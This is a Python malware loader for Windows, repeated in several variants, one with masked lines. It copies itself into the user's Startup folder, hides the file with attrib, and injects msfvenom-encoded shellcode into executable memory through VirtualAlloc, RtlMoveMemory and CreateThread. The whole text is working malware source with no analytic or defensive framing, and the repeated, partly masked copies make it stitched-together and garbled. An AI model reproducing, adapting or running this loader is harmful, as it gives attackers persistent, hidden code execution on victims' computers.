#!/usr/bin/env python
import ctypes
import os
import sys
import shutil

#coded by Mar1 :: Script fixed to work without errors after building the exe file::
user_dir = os.path.expanduser('~')
star_dir = user_dir + r'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
script_name = os.path.basename(sys.argv[0])
pwd = os.getcwd()
source = pwd + "\\" + script_name
os.chdir(star_dir)
os.system("attrib +h %s" %script_name)
if os.path.isfile(script_name) == True:
    pass
else:
    shutil.move(source,star_dir)

#thanks to the coder of the code below
#shellcode here support msfvenom encoders
shellcode = bytearray(
"\xd9\xce\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x61\xbb\xea\xab\xd9"
"\x3a\x31\x58\x1a\x03\x58\x1a\x83\xc0\x04\xe2\x1f\x72\x38\x80"
"\x58\x06\x4c\xd6\xbf\x7d\x97\xed\x62\x4f\x1e\xbc\xc7\x2c\x65"
"\xbb\xc6\x67\x75\xc7\xfa\x18\x6c\x11\xfc\x4e\xeb\x76\x7c\x50"
"\x8c\x5d\x88\x4a\xf9\xe0\xb7\xbe\x3c\x77\x21\x07\xfd\x9f\xd5"
"\x95\xc3\xe0\x1b\xaa\xe7\x74\xf3\xa1\x97\xfd\xf1\x05\x72\x78"
"\xf0\xf9\x1c\x40\x0c\x72\x78\x08\x9b\x0a\x95\x0a\xc0\xf3\x85"
"\x3d\x1c\x36\xd2\x11\xae\x83\xf0\x25\xa0\xf1\x3c\xf0\x4b\x44"
"\xe5\xc4\x8a\xd0\xdf\xde\x3e\xd8\xab\x29\xfe\x11\x4e\x8b\x68"
"\xcd\x6d\xa7\x54\xe9\xb6\x64\xe5\x94\x68\x7a\xde\xcc\x2d\x71"
"\x4c\x75\xa9\x48\x9d\x2e\x0a\x6d\x92\xbb\xee\xad\x90\x65\xe7"
"\x36\x39\x84\x47\x0f\x8c\x70\xbc\xf1\xc0\xba\x3e\xed\x77\x50"
"\x92\x77\xb6\xc6\x9d\xa9\x4d\xa1\x9b\x43\x8c\x5e\x65\x74\xe7"
"\x9d\x08\xa5\x3f\x9b\x47\x86\x9f\x83\xd4\xfd\x7d\x17\xfe\xcb"
"\x32\x91\xea\xf5\xe0\xa4\x8d\x75\x2d\x92\x6a\x33\x0b\xb9\x04"
"\x37\x46\x19\x75\x4c\xb0\x32\x5a\x68\xe0\x94\x4f\x04\x39\x09"
"\xd0\x97\x21\x44\x7d\x40\xe3\x00\x7c\xe6\xd4\x13\x91\xc4\x0c"
"\xbe\xba\x80\xbb\x15\x5b\xab\xdc\x3b\x8e\x17\xf7\x4c\xcc\x59"
"\xec\xcd\x2f\x2d\xe3\x7b\x95\x2b\x0c\xb9\xc2\x96\xbd\x64\x76"
"\x41\x32\xdf\x38\x0a\x42\x83\x85\x86\x9f\x09\x90\x43\x69\x86"
"\x6d\x34\x4e\xfb\xf1\x3a\x98\x49\xe3\x16\xa1\xb8\xf7\x59\xa1"
"\x33\xdd\xb8\xbd\xdc\x3d\x45\xc5\x59\x25\xa6\x03\xc7\xeb\x38"
"\x83\x69\xd0\xe9\xdf\x96\x86\x43\x6f\x41\xae\x14\xe4\xa1\x64"
"\xbd\x20\xfa\x0b\x59\xda\x7c\xe1\x98\x98\x69\xea\x9a\x39\x18"
"\x0e\xab\x6d\xa4\xb8\x94\x0a\x64\x6c\x70\xea\xd1\x80\xf2\xb4"
"\x94\xed\xb2\x33\x4b\xe2\x60\xb3\x53\x23\x7b\xab\x0b\x80\xa1"
"\x33\x2a\x13\xde\xa0\xa1\x8c\x66\x1d\xea\xd8\x46\x43\x8a\xf3"
"\xf4\x47\x5e\x38\xa3\x79\xe3\x98\xc0")

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

4fd797394c25c031ef4d3369934d5215377ec1bb
<mask token>

<mask token>
os.chdir(star_dir)
os.system('attrib +h %s' % script_name)
if os.path.isfile(script_name) == True:
    pass
else:
    shutil.move(source, star_dir)
<mask token>
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(
    len(shellcode)))
<mask token>
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

<mask token>
user_dir = os.path.expanduser('~')
star_dir = (user_dir +
    '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup')
script_name = os.path.basename(sys.argv[0])
pwd = os.getcwd()
source = pwd + '\\' + script_name
os.chdir(star_dir)
os.system('attrib +h %s' % script_name)
if os.path.isfile(script_name) == True:
    pass
else:
    shutil.move(source, star_dir)
shellcode = bytearray(
    'ÙÎÙt$ôX3É±a»ê«Ù:1X\x1a\x03X\x1a\x83À\x04â\x1fr8\x80X\x06LÖ¿}\x97íbO\x1e¼Ç,e»ÆguÇú\x18l\x11üNëv|P\x8c]\x88Jùà·¾<w!\x07ý\x9fÕ\x95Ãà\x1bªçtó¡\x97ýñ\x05rxðù\x1c@\x0crx\x08\x9b\n\x95\nÀó\x85=\x1c6Ò\x11®\x83ð%\xa0ñ<ðKDåÄ\x8aÐßÞ>Ø«)þ\x11N\x8bhÍm§Té¶då\x94hzÞÌ-qLu©H\x9d.\nm\x92»î\xad\x90eç69\x84G\x0f\x8cp¼ñÀº>íwP\x92w¶Æ\x9d©M¡\x9bC\x8c^etç\x9d\x08¥?\x9bG\x86\x9f\x83Ôý}\x17þË2\x91êõà¤\x8du-\x92j3\x0b¹\x047F\x19uL°2Zhà\x94O\x049\tÐ\x97!D}@ã\x00|æÔ\x13\x91Ä\x0c¾º\x80»\x15[«Ü;\x8e\x17÷LÌYìÍ/-ã{\x95+\x0c¹Â\x96½dvA2ß8\nB\x83\x85\x86\x9f\t\x90Ci\x86m4Nûñ:\x98Iã\x16¡¸÷Y¡3Ý¸½Ü=EÅY%¦\x03Çë8\x83iÐéß\x96\x86CoA®\x14ä¡d½ ú\x0bYÚ|á\x98\x98iê\x9a9\x18\x0e«m¤¸\x94\ndlpêÑ\x80ò´\x94í²3Kâ`³S#{«\x0b\x80¡3*\x13Þ\xa0¡\x8cf\x1dêØFC\x8aóôG^8£yã\x98À'
    )
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len
    (shellcode)), ctypes.c_int(12288), ctypes.c_int(64))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(
    len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0),
    ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(
    ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

import ctypes
import os
import sys
import shutil
user_dir = os.path.expanduser('~')
star_dir = (user_dir +
    '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup')
script_name = os.path.basename(sys.argv[0])
pwd = os.getcwd()
source = pwd + '\\' + script_name
os.chdir(star_dir)
os.system('attrib +h %s' % script_name)
if os.path.isfile(script_name) == True:
    pass
else:
    shutil.move(source, star_dir)
shellcode = bytearray(
    'ÙÎÙt$ôX3É±a»ê«Ù:1X\x1a\x03X\x1a\x83À\x04â\x1fr8\x80X\x06LÖ¿}\x97íbO\x1e¼Ç,e»ÆguÇú\x18l\x11üNëv|P\x8c]\x88Jùà·¾<w!\x07ý\x9fÕ\x95Ãà\x1bªçtó¡\x97ýñ\x05rxðù\x1c@\x0crx\x08\x9b\n\x95\nÀó\x85=\x1c6Ò\x11®\x83ð%\xa0ñ<ðKDåÄ\x8aÐßÞ>Ø«)þ\x11N\x8bhÍm§Té¶då\x94hzÞÌ-qLu©H\x9d.\nm\x92»î\xad\x90eç69\x84G\x0f\x8cp¼ñÀº>íwP\x92w¶Æ\x9d©M¡\x9bC\x8c^etç\x9d\x08¥?\x9bG\x86\x9f\x83Ôý}\x17þË2\x91êõà¤\x8du-\x92j3\x0b¹\x047F\x19uL°2Zhà\x94O\x049\tÐ\x97!D}@ã\x00|æÔ\x13\x91Ä\x0c¾º\x80»\x15[«Ü;\x8e\x17÷LÌYìÍ/-ã{\x95+\x0c¹Â\x96½dvA2ß8\nB\x83\x85\x86\x9f\t\x90Ci\x86m4Nûñ:\x98Iã\x16¡¸÷Y¡3Ý¸½Ü=EÅY%¦\x03Çë8\x83iÐéß\x96\x86CoA®\x14ä¡d½ ú\x0bYÚ|á\x98\x98iê\x9a9\x18\x0e«m¤¸\x94\ndlpêÑ\x80ò´\x94í²3Kâ`³S#{«\x0b\x80¡3*\x13Þ\xa0¡\x8cf\x1dêØFC\x8aóôG^8£yã\x98À'
    )
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len
    (shellcode)), ctypes.c_int(12288), ctypes.c_int(64))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(
    len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0),
    ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(
    ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

#!/usr/bin/env python
import ctypes
import os
import sys
import shutil

#coded by Mar1 :: Script fixed to work without errors after building the exe file::
user_dir = os.path.expanduser('~')
star_dir = user_dir + r'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
script_name = os.path.basename(sys.argv[0])
pwd = os.getcwd()
source = pwd + "\\" + script_name
os.chdir(star_dir)
os.system("attrib +h %s" %script_name)
if os.path.isfile(script_name) == True:
    pass
else:
    shutil.move(source,star_dir)

#thanks to the coder of the code below
#shellcode here support msfvenom encoders
shellcode = bytearray(
"\xd9\xce\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x61\xbb\xea\xab\xd9"
"\x3a\x31\x58\x1a\x03\x58\x1a\x83\xc0\x04\xe2\x1f\x72\x38\x80"
"\x58\x06\x4c\xd6\xbf\x7d\x97\xed\x62\x4f\x1e\xbc\xc7\x2c\x65"
"\xbb\xc6\x67\x75\xc7\xfa\x18\x6c\x11\xfc\x4e\xeb\x76\x7c\x50"
"\x8c\x5d\x88\x4a\xf9\xe0\xb7\xbe\x3c\x77\x21\x07\xfd\x9f\xd5"
"\x95\xc3\xe0\x1b\xaa\xe7\x74\xf3\xa1\x97\xfd\xf1\x05\x72\x78"
"\xf0\xf9\x1c\x40\x0c\x72\x78\x08\x9b\x0a\x95\x0a\xc0\xf3\x85"
"\x3d\x1c\x36\xd2\x11\xae\x83\xf0\x25\xa0\xf1\x3c\xf0\x4b\x44"
"\xe5\xc4\x8a\xd0\xdf\xde\x3e\xd8\xab\x29\xfe\x11\x4e\x8b\x68"
"\xcd\x6d\xa7\x54\xe9\xb6\x64\xe5\x94\x68\x7a\xde\xcc\x2d\x71"
"\x4c\x75\xa9\x48\x9d\x2e\x0a\x6d\x92\xbb\xee\xad\x90\x65\xe7"
"\x36\x39\x84\x47\x0f\x8c\x70\xbc\xf1\xc0\xba\x3e\xed\x77\x50"
"\x92\x77\xb6\xc6\x9d\xa9\x4d\xa1\x9b\x43\x8c\x5e\x65\x74\xe7"
"\x9d\x08\xa5\x3f\x9b\x47\x86\x9f\x83\xd4\xfd\x7d\x17\xfe\xcb"
"\x32\x91\xea\xf5\xe0\xa4\x8d\x75\x2d\x92\x6a\x33\x0b\xb9\x04"
"\x37\x46\x19\x75\x4c\xb0\x32\x5a\x68\xe0\x94\x4f\x04\x39\x09"
"\xd0\x97\x21\x44\x7d\x40\xe3\x00\x7c\xe6\xd4\x13\x91\xc4\x0c"
"\xbe\xba\x80\xbb\x15\x5b\xab\xdc\x3b\x8e\x17\xf7\x4c\xcc\x59"
"\xec\xcd\x2f\x2d\xe3\x7b\x95\x2b\x0c\xb9\xc2\x96\xbd\x64\x76"
"\x41\x32\xdf\x38\x0a\x42\x83\x85\x86\x9f\x09\x90\x43\x69\x86"
"\x6d\x34\x4e\xfb\xf1\x3a\x98\x49\xe3\x16\xa1\xb8\xf7\x59\xa1"
"\x33\xdd\xb8\xbd\xdc\x3d\x45\xc5\x59\x25\xa6\x03\xc7\xeb\x38"
"\x83\x69\xd0\xe9\xdf\x96\x86\x43\x6f\x41\xae\x14\xe4\xa1\x64"
"\xbd\x20\xfa\x0b\x59\xda\x7c\xe1\x98\x98\x69\xea\x9a\x39\x18"
"\x0e\xab\x6d\xa4\xb8\x94\x0a\x64\x6c\x70\xea\xd1\x80\xf2\xb4"
"\x94\xed\xb2\x33\x4b\xe2\x60\xb3\x53\x23\x7b\xab\x0b\x80\xa1"
"\x33\x2a\x13\xde\xa0\xa1\x8c\x66\x1d\xea\xd8\x46\x43\x8a\xf3"
"\xf4\x47\x5e\x38\xa3\x79\xe3\x98\xc0")

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
